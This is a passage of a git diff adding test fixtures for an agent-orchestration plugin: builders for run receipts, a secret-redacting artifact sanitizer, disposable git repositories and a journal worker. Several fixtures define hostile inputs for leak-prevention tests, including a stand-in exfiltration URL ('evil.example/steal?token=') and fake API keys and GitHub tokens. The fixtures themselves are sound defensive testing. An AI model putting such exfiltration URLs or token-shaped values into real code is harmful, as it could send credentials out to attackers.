RUN_PREFLIGHT_VERSION, +} from '../../mcp/v3/run-preflight.mjs'; + +export const RUN_ID = 'run-api-boundary-01'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; +export const BASE_SHA = '0123456789abcdef0123456789abcdef01234567'; +export const HEAD_SHA = '0123456789abcdef0123456789abcdef01234567'; +export const DIGEST = 'ab'.repeat(32); +export const LANE_IDENTITY = 'cd'.repeat(16); +export const LANE_IDENTITY_B = 'ef'.repeat(16); +export const PROVIDER = 'grok'; +export const MODEL = 'grok-4'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const HOSTILE_GIT = 'git@github.com:evil/repo.git'; +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_TOKEN = 'ghp_hostiletokendoNotLeak001'; +export const HOSTILE_ENV = 'GH_TOKEN=ghp_hostiletokendoNotLeak001'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +function falseMap(keys) { + const values = {}; + for (const key of keys) values[key] = false; + return values; +} + +export function auditSideEffects() { + return falseMap(PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS); +} + +export function orchestrationSideEffects(overrides = {}) { + return { ...falseMap(RUN_ORCHESTRATION_SIDE_EFFECTS), ...overrides }; +} + +export function preflightSideEffects() { + return falseMap(RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS); +} + +export function validIdentity(overrides = {}) { + return { + run_id: RUN_ID, + base_sha: BASE_SHA, + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + ...overrides, + }; +} + +export function validFact(overrides = {}) { + return { + fact_id: 'protected-ref-audit', + fact_kind: 'git_identity', + status: 'verified', + code: 'host_observed', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'protected-refs', + authority: 'platform_git', + method: 'protected_ref_snapshot_compare', + input_digest: DIGEST, + output_digest: DIGEST, + exit_code: 0, + duration_ms: 1, + truncated: false, + payload: { base_sha: BASE_SHA, head_sha: HEAD_SHA }, + payload_digest: DIGEST, + artifact_digests: [], + ...overrides, + }; +} + +export function validDiscrepancy(overrides = {}) { + return { + discrepancy_id: 'protected-ref-audit', + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + claim_ids: [], + fact_ids: ['protected-ref-audit'], + artifact_digests: [], + ...overrides, + }; +} + +export function validComparison(overrides = {}) { + return { + outcome: 'match', + storage: 'loose', + ref_class: 'user_protected', + protected: true, + default_branch_target: true, + ...overrides, + }; +} + +export function validFinding(overrides = {}) { + return { + code: 'moved_ref', + storage: 'loose', + ref_class: 'user_protected', + protected: true, + default_branch_target: true, + ...overrides, + }; +} + +export function validAudit(overrides = {}) { + const comparisons = overrides.comparisons ?? [validComparison()]; + const receipt = { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + status: 'verified', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + repository_kind: 'local', + comparisons, + findings: [], + observed_classes: [], + facts: [validFact()], + discrepancies: [], + side_effects: auditSideEffects(), + observation: { + command_count: 2, + compared_count: comparisons.length, + duration_ms: 1, + loose_count: 1, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + ...overrides, + }; + if (!Object.hasOwn(overrides, 'observation') && Object.hasOwn(overrides, 'comparisons')) { + receipt.observation = { + ...receipt.observation, + compared_count: receipt.comparisons.length, + }; + } + return receipt; +} + +export function verifiedDriftAudit(outcome = 'moved_ref', overrides = {}) { + const storage = outcome === 'missing_ref' + ? 'absent' + : outcome === 'symbolic_ref' + ? 'symbolic' + : 'loose'; + return validAudit({ + comparisons: [validComparison({ outcome, storage })], + observation: { + command_count: 2, + compared_count: 1, + duration_ms: 1, + loose_count: storage === 'loose' ? 1 : 0, + missing_count: storage === 'absent' ? 1 : 0, + packed_count: 0, + symbolic_count: storage === 'symbolic' ? 1 : 0, + }, + ...overrides, + }); +} + +export function failedAudit(code = 'moved_ref', overrides = {}) { + const finding = validFinding({ code, ...(code === 'missing_ref' ? { storage: 'absent' } : {}) }); + return validAudit({ + status: 'failed', + comparisons: [validComparison({ + outcome: code === 'hostile_ref' ? 'moved_ref' : code, + storage: finding.storage, + })], + findings: [finding], + observed_classes: [finding.code], + facts: [validFact({ status: 'failed', exit_code: 1 })], + discrepancies: [validDiscrepancy()], + observation: { + command_count: 2, + compared_count: 1, + duration_ms: 1, + loose_count: code === 'missing_ref' ? 0 : 1, + missing_count: code === 'missing_ref' ? 1 : 0, + packed_count: 0, + symbolic_count: 0, + }, + ...overrides, + }); +} + +export function validGitIdentity(overrides = {}) { + return { + schema: GIT_IDENTITY_SCHEMA_ID, + repository_path: HOSTILE_PATH, + base_sha: BASE_SHA, + digest: DIGEST, + ...overrides, + }; +} + +export function validPreflight(overrides = {}) { + const { assignment_ids: assignmentIdsOverride, ...rest } = overrides; + const assignmentIds = [...(assignmentIdsOverride ?? [ASSIGNMENT_ID])]; + const children = { + count: assignmentIds.length, + minimum: PREFLIGHT_MIN_CHILDREN, + maximum: PREFLIGHT_MAX_CHILDREN, + independent: true, + concurrency: assignmentIds.length, + assignment_ids: assignmentIds, + scope_pair_checks: 0, + }; + return { + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + status: 'ready', + run_id: RUN_ID, + children, + capacity: { + source: 'injected', + cpu_parallelism: 8, + total_ram_bytes: 8_589_934_592, + available_ram_bytes: 8_589_934_592, + required_ram_bytes: 268_435_456 * assignmentIds.length, + cpu_ok: true, + ram_ok: true, + }, + repository: { + path: HOSTILE_PATH, + base_sha: BASE_SHA, + object_type: 'commit', + git_dir: `${HOSTILE_PATH}/.git`, + }, + checks: [...RUN_PREFLIGHT_CHECKS], + side_effects: preflightSideEffects(), + git_identity: validGitIdentity(), + ...rest, + }; +} + +export function validLane(overrides = {}) { + return { + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + model: MODEL, + status: 'projected', + identity: LANE_IDENTITY, + projected_keys: ['GIT_TERMINAL_PROMPT', 'XAI_API_KEY'], + credential_present: true, + ...overrides, + }; +} + +export function validOrchestration(overrides = {}) { + const lanes = overrides.lanes ?? [validLane()]; + const assignmentIds = lanes.map((lane) => lane.assignment_id); + const preflight = overrides.preflight ?? validPreflight({ assignment_ids: assignmentIds }); + const receipt = { + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + status: 'prepared', + run_id: RUN_ID, + intent: 'prepare', + preflight, + lanes, + checks: [...RUN_ORCHESTRATION_CHECKS], + side_effects: orchestrationSideEffects({ credentials_projected: true }), + ...overrides, + }; + if (overrides.preflight === undefined && overrides.lanes !== undefined) { + receipt.preflight = validPreflight({ assignment_ids: assignmentIds }); + } + return receipt; +} + +export function dispatchedOrchestration(overrides = {}) { + return validOrchestration({ + status: 'dispatched', + intent: 'dispatch', + side_effects: orchestrationSideEffects({ + credentials_projected: true, + credential_handoff_created: true, + task_dispatched: true, + provider_process_started: true, + }), + ...overrides, + }); +} + +export function orchestrationDenial(code = 'host_cpu_capacity_exceeded', overrides = {}) { + return { + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + code, + run_id: RUN_ID, + ...overrides, + }; +} + +export function validLifecycle(overrides = {}) { + return { + status: 'terminal', + cleaned: true, + missing: false, + unresolved: [], + ...overrides, + }; +} + +export function unresolvedLifecycle(overrides = {}) { + return validLifecycle({ + status: 'cancelled', + cleaned: false, + unresolved: [{ assignment_id: ASSIGNMENT_ID, code: 'handoff_cleanup_failed' }], + ...overrides, + }); +} + +export function validInput(overrides = {}) { + const input = { + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + identity: validIdentity(), + audit: validAudit(), + orchestration: validOrchestration(), + ...overrides, + }; + if (overrides.identity) input.identity = { ...validIdentity(), ...overrides.identity }; + if (overrides.audit) input.audit = overrides.audit; + if (overrides.orchestration) input.orchestration = overrides.orchestration; + if (Object.hasOwn(overrides, 'lifecycle')) input.lifecycle = overrides.lifecycle; + return input; +} + +export { + PROTECTED_REF_AUDIT_CHECKS, + RUN_ORCHESTRATION_CHECKS, + RUN_PREFLIGHT_CHECKS, +}; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs new file mode 100644 index 0000000..da66394 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs @@ -0,0 +1,204 @@ +// Neutral builders and injected stubs for the P33 run artifact bridge. +// Tests own the assertions. + +import { createHash } from 'node:crypto'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { createRunArtifactBridge } from '../../mcp/v3/run-artifact-bridge.mjs'; + +export const RUN_ID = 'run-artifact-main'; +export const OTHER_RUN_ID = 'run-artifact-other'; +export const ASSIGNMENT_A = 'assign-a'; +export const ASSIGNMENT_B = 'assign-b'; +export const RELATIVE_A = `runs/${RUN_ID}/${ASSIGNMENT_A}/provider-report.txt`; +export const RELATIVE_B = `runs/${RUN_ID}/${ASSIGNMENT_B}/git-diff.txt`; +export const FOREIGN_RELATIVE = `runs/${OTHER_RUN_ID}/${ASSIGNMENT_A}/provider-report.txt`; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_TOKEN = 'github_pat_hostiletokenvalue'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_BEARER = 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9xx'; +export const PLAIN_TEXT = 'lane completed without secrets'; +export const SECRET_TEXT = `token ${HOSTILE_SECRET} and ${HOSTILE_TOKEN}`; +export const REDACTED = '[REDACTED]'; +export const CLOCK_START = '2026-08-25T22:00:00Z'; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeClock(start = CLOCK_START) { + let current = start; + return { + now() { + return current; + }, + set(next) { + current = next; + }, + }; +} + +export function makeRawStore() { + const records = new Map(); + const keyOf = (runId, assignmentId, relativePath) => + `${runId}\u0000${assignmentId}\u0000${relativePath}`; + + return { + async publish({ artifact_ref, bytes, source_truncated }) { + const key = keyOf(artifact_ref.run_id, artifact_ref.assignment_id, artifact_ref.relative_path); + const record = { + artifact_ref: { ...artifact_ref }, + bytes: Buffer.from(bytes), + }; + if (source_truncated === true || source_truncated === false) { + record.source_truncated = source_truncated; + } + records.set(key, record); + return { artifact_ref: { ...artifact_ref } }; + }, + async get({ run_id, assignment_id, relative_path }) { + const record = records.get(keyOf(run_id, assignment_id, relative_path)); + if (!record) return null; + const view = { + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + }; + if (record.source_truncated === true || record.source_truncated === false) { + view.source_truncated = record.source_truncated; + } + return view; + }, + async list({ run_id }) { + const listed = []; + for (const record of records.values()) { + if (record.artifact_ref.run_id !== run_id) continue; + const view = { + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + }; + if (record.source_truncated === true || record.source_truncated === false) { + view.source_truncated = record.source_truncated; + } + listed.push(view); + } + return listed; + }, + async remove({ run_id, assignment_id, relative_path }) { + records.delete(keyOf(run_id, assignment_id, relative_path)); + }, + size() { + return records.size; + }, + snapshot() { + return [...records.values()].map((record) => ({ + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + })); + }, + }; +} + +export function makeSanitizer({ + secrets = [HOSTILE_SECRET, HOSTILE_TOKEN, HOSTILE_BEARER], + sanitizerVersion = 1, +} = {}) { + return { + async sanitize({ artifact_ref, source, source_truncated }) { + let text = Buffer.from(source).toString('utf8'); + let redactionCount = 0; + for (const secret of secrets) { + if (!text.includes(secret)) continue; + text = text.split(secret).join(REDACTED); + redactionCount += 1; + } + const bytes = Buffer.from(text, 'utf8'); + return { + sanitized_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + artifact_kind: artifact_ref.artifact_kind, + artifact_class: 'sanitized', + relative_path: artifact_ref.relative_path, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: artifact_ref.media_type, + content_encoding: 'identity', + }, + bytes, + redaction_count: redactionCount, + sanitizer_version: sanitizerVersion, + source_truncated: source_truncated === true, + complete: source_truncated !== true, + }; + }, + }; +} + +export function makeEvidenceBundle() { + const events = []; + return { + async append(event) { + events.push({ ...event }); + }, + async list({ run_id, assignment_id } = {}) { + return events.filter((event) => { + if (run_id && event.run_id !== run_id) return false; + if (assignment_id && event.assignment_id !== assignment_id) return false; + return true; + }); + }, + events, + }; +} + +export function makeBridge(overrides = {}) { + const rawStore = overrides.rawStore ?? makeRawStore(); + const sanitizer = overrides.sanitizer ?? makeSanitizer(); + const evidenceBundle = overrides.evidenceBundle ?? makeEvidenceBundle(); + const clock = overrides.clock ?? makeClock(); + const bridge = createRunArtifactBridge({ + rawStore, + sanitizer, + evidenceBundle, + clock, + }); + return { bridge, rawStore, sanitizer, evidenceBundle, clock }; +} + +export function captureInput(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + artifact_kind: 'provider_report', + relative_path: RELATIVE_A, + media_type: 'text/plain', + source: PLAIN_TEXT, + ...overrides, + }; +} + +export function projectInput(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + ...overrides, + }; +} + +export function cleanupInput(overrides = {}) { + const proof = overrides.proof === undefined + ? { run_id: RUN_ID } + : overrides.proof; + const rest = { ...overrides }; + delete rest.proof; + return { + run_id: RUN_ID, + proof, + ...rest, + }; +} + +export function decodeSelected(artifact) { + return Buffer.from(artifact.selected, artifact.selected_encoding).toString('utf8'); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs new file mode 100644 index 0000000..200da97 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs @@ -0,0 +1,336 @@ +// Disposable repository fixtures for P35 run-owned candidate composition. +// Construction uses argv git only. Disposable repositories never attach +// remotes, credentials, or push URLs. Tests own the assertions. + +import { spawnSync } from 'node:child_process'; +import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, +} from '../../mcp/v3/constrained-verification-runner.mjs'; +import { + expectedCandidateRefV1, +} from '../../mcp/v3/git-authority.mjs'; +import { + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from '../../mcp/v3/run-api-boundary.mjs'; +import { + RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, +} from '../../mcp/v3/run-candidate-composer.mjs'; +import { + RUN_COMBINED_VERIFIER_SCHEMA_ID, + RUN_COMBINED_VERIFIER_VERSION, +} from '../../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_ID as API_ASSIGNMENT_ID, + BASE_SHA as API_BASE_SHA, + RUN_ID as API_RUN_ID, + validLane, + validOrchestration, +} from './r1-run-api-boundary-fixtures.mjs'; + +export const RUN_ID = 'run-candidate-01'; +export const ASSIGNMENT_A = 'lane-writer-a'; +export const ASSIGNMENT_B = 'lane-writer-b'; +export const ASSIGNMENT_VERIFY = 'lane-verify'; +export const MAIN_REF = 'refs/heads/main'; +export const HOSTILE_SECRET = 'sk-live-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_TOKEN = 'github_pat_hostiletoken'; +export const BINARY_BYTES = Buffer.from([0x00, 0x01, 0xff, 0xfe, 0x00, 0x61]); + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p35', + GIT_AUTHOR_EMAIL: 'p35@example.test', + GIT_COMMITTER_NAME: 'p35', + GIT_COMMITTER_EMAIL: 'p35@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function git(cwd, args, env = GIT_ENV) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p35', + '-c', 'user.email=p35@example.test', + ...args, + ], { cwd, encoding: 'buffer', env }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + error.stderr = result.stderr?.toString('utf8'); + error.stdout = result.stdout?.toString('utf8'); + throw error; + } + return result.stdout.toString('utf8').trim(); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createBaseRepo(prefix = 'p35-compose-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + git(root, ['init', '--initial-branch=main']); + await mkdir(path.join(root, 'src'), { recursive: true }); + await mkdir(path.join(root, 'docs'), { recursive: true }); + await writeFile(path.join(root, 'src/keep.txt'), 'keep-src\n', 'utf8'); + await writeFile(path.join(root, 'docs/keep.txt'), 'keep-docs\n', 'utf8'); + git(root, ['add', '--', 'src/keep.txt', 'docs/keep.txt']); + git(root, ['commit', '-m', 'base']); + const baseSha = git(root, ['rev-parse', 'HEAD']); + return wrap(root, { baseSha, headSha: baseSha, mainRef: MAIN_REF }); +} + +export async function addWriterCommit(repo, { + assignmentId, + relativePath, + contents, + binary = false, +} = {}) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + const abs = path.join(repo.path, relativePath); + await mkdir(path.dirname(abs), { recursive: true }); + if (binary) await writeFile(abs, contents); + else await writeFile(abs, contents, 'utf8'); + git(repo.path, ['add', '--', relativePath]); + git(repo.path, ['commit', '-m', `delta-${assignmentId}`]); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '--detach', repo.baseSha]); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addSymlinkWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + await symlink('keep.txt', path.join(repo.path, 'src/link')); + git(repo.path, ['add', '--', 'src/link']); + git(repo.path, ['commit', '-m', 'symlink']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addRenameWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + git(repo.path, ['mv', '--', 'src/keep.txt', 'src/renamed.txt']); + git(repo.path, ['commit', '-m', 'rename']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addModeChangeWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + await chmod(path.join(repo.path, 'src/keep.txt'), 0o755); + git(repo.path, ['add', '--', 'src/keep.txt']); + git(repo.path, ['commit', '-m', 'mode']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export function writerLane(assignmentId, writeScope, state, headSha = null) { + const lane = { + assignment_id: assignmentId, + role: 'implement', + access: 'writer', + write_scope: [...writeScope], + state, + }; + if (headSha !== null) lane.head_sha = headSha; + return lane; +} + +export function verifyLane(state = 'verified') { + return { + assignment_id: ASSIGNMENT_VERIFY, + role: 'verify', + access: 'read_only', + write_scope: [], + state, + }; +} + +export function composeRequest(repo, lanes, overrides = {}) { + const request = { + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + identity: { + repository_path: repo.path, + base_sha: repo.baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + }, + expected_base_ref: MAIN_REF, + expected_protected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }], + lanes, + ...overrides, + }; + if (overrides.identity) request.identity = { ...request.identity, ...overrides.identity }; + return request; +} + +export function candidateRef() { + return expectedCandidateRefV1({ run_id: RUN_ID }); +} + +export function withCandidateRef(composition, candidateRefValue) { + return { ...composition, candidate_ref: candidateRefValue }; +} + +export const DENY_VERIFIER_GIT_OPTIONS = Object.freeze({ + executeVerification: async () => { + throw new Error('p16 must not run for unauthorized candidate_ref'); + }, + verifyGitIdentity: async () => { + throw new Error('p14 must not run for unauthorized candidate_ref'); + }, + verifyScope: async () => { + throw new Error('p15 must not run for unauthorized candidate_ref'); + }, + auditProtectedRefs: async () => { + throw new Error('p30 must not run for unauthorized candidate_ref'); + }, + projectRunApiBoundary: () => { + throw new Error('p32 must not run for unauthorized candidate_ref'); + }, +}); + +export function inspectRepo(repo) { + const head = git(repo.path, ['rev-parse', 'HEAD']); + const main = git(repo.path, ['rev-parse', MAIN_REF]); + const remotes = git(repo.path, ['remote']); + let candidate = null; + try { + candidate = git(repo.path, ['rev-parse', '--verify', '--end-of-options', candidateRef()]); + } catch { + candidate = null; + } + return { head, main, remotes, candidate }; +} + +export function parentsOf(repo, sha) { + const line = git(repo.path, ['rev-list', '--parents', '--max-count=1', sha]); + return line.split(' ').slice(1); +} + +export function fileAt(repo, sha, relativePath) { + return spawnSync('/usr/bin/git', ['-C', repo.path, 'show', `${sha}:${relativePath}`], { + encoding: 'buffer', env: GIT_ENV, + }).stdout; +} + +export function verificationStub(outcome = 'pass') { + return { + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + command_id: 'unit-tests', + outcome: { result: outcome, exit_code: outcome === 'pass' ? 0 : 1 }, + candidate_audit: { unchanged: true }, + facts: [], + }; +} + +export async function executeVerificationStub() { + return verificationStub(); +} + +export function boundOrchestration(repo) { + const raw = validOrchestration({ + lanes: [validLane({ assignment_id: ASSIGNMENT_A })], + }); + return JSON.parse(JSON.stringify(raw) + .replaceAll(API_RUN_ID, RUN_ID) + .replaceAll(API_ASSIGNMENT_ID, ASSIGNMENT_A) + .replaceAll(API_BASE_SHA, repo.baseSha)); +} + +export function verifyRequest(repo, composition, overrides = {}) { + const orchestration = boundOrchestration(repo); + return { + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + identity: { + repository_path: repo.path, + base_sha: repo.baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + provider: 'grok', + }, + expected_base_ref: MAIN_REF, + expected_protected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }], + composition, + orchestration, + verification: { + candidate: { + repository: { path: repo.path, base_sha: repo.baseSha }, + expected_base_sha: repo.baseSha, + expected_head_sha: composition.candidate_sha, + }, + intent: { command_id: 'unit-tests' }, + policy: { schema: 'codex-co-engineer.verification-policy.v1' }, + }, + ...overrides, + }; +} + +export { RUN_API_BOUNDARY_SCHEMA_ID, RUN_API_BOUNDARY_VERSION }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs new file mode 100644 index 0000000..1d9b3da --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs @@ -0,0 +1,58 @@ +// Neutral builders for the R25B aggregate journal bridge. Tests own the +// assertions. These helpers never rank, migrate, or open a journal. + +import { initializeAggregateRunAnchorRoot } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './r1-aggregate-run-anchor-fixtures.mjs'; + +export { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +}; + +export async function makeResolvedAnchor({ + branch = 'selection', + runId = AGGREGATE_RUN_ID, + assignmentCount = 1, +} = {}) { + const root = await makePrivateRoot('r1-r25b-anchor-'); + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput({ runId, assignmentCount })); + if (branch === 'plan') { + await anchor.commitResolvedPlan({ + run_id: runId, + expected_revision: 0, + resolved_plan_record: makePlanInput(runId, true), + }); + } else { + const selection = makeSelectionRequest({ runId, assignmentCount }); + await anchor.commitSelectionRequest({ + run_id: runId, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + await anchor.commitSelectionResolution({ + run_id: runId, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + runId, selection.identity.request_id, defaultAnswers(assignmentCount), + ), + resolved_plan_record: makePlanInput(runId, true), + }); + } + return { root, anchor, runId }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs new file mode 100644 index 0000000..cf06b55 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs @@ -0,0 +1,45 @@ +// Cross-process aggregate journal appender used by R25B concurrency tests. +// Usage: +// node r1-run-journal-aggregate-worker.mjs +// Appends `count` child_progress events and prints one JSON result line. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { openAggregateRunJournal } from '../../mcp/v3/run-journal.mjs'; + +const [anchorRoot, journalRoot, runId, rawCount, prefix] = process.argv.slice(2); +const count = Number.parseInt(rawCount, 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const anchor = await openAggregateRunAnchor(anchorRoot); + const journal = await openAggregateRunJournal({ + root: journalRoot, + anchor, + run_id: runId, + }); + let appended = 0; + let created = 0; + let deduped = 0; + for (let index = 0; index < count; index += 1) { + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `${prefix}.${index}` }, + dedupe_key: `${prefix}/${index}`, + }); + appended += 1; + if (result.created) created += 1; + if (result.deduped) deduped += 1; + } + emit({ ok: true, appended, created, deduped }); +} catch (error) { + emit({ + ok: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + message: String(error?.message ?? error).slice(0, 160), + }); + process.exit(1); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json new file mode 100644 index 0000000..3f97040 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json @@ -0,0 +1,27 @@ +{ + "stampSchemaV1": "codex-co-engineer.run-journal-created.v1", + "stampSchemaV2": "codex-co-engineer.run-journal-created.v2", + "stampV1Keys": ["nonce", "record_canonical_digest", "run_id", "schema"], + "stampV2Keys": ["binding_digest", "nonce", "run_id", "schema"], + "eventKinds": [ + "run_opened", + "child_started", + "child_progress", + "child_artifact", + "child_terminal", + "run_terminal" + ], + "entrySchema": "codex-co-engineer.run-journal-entry.v1", + "stateSchema": "codex-co-engineer.run-journal-state.v1", + "hashDomain": "codex-co-engineer.run-journal-hash.v1", + 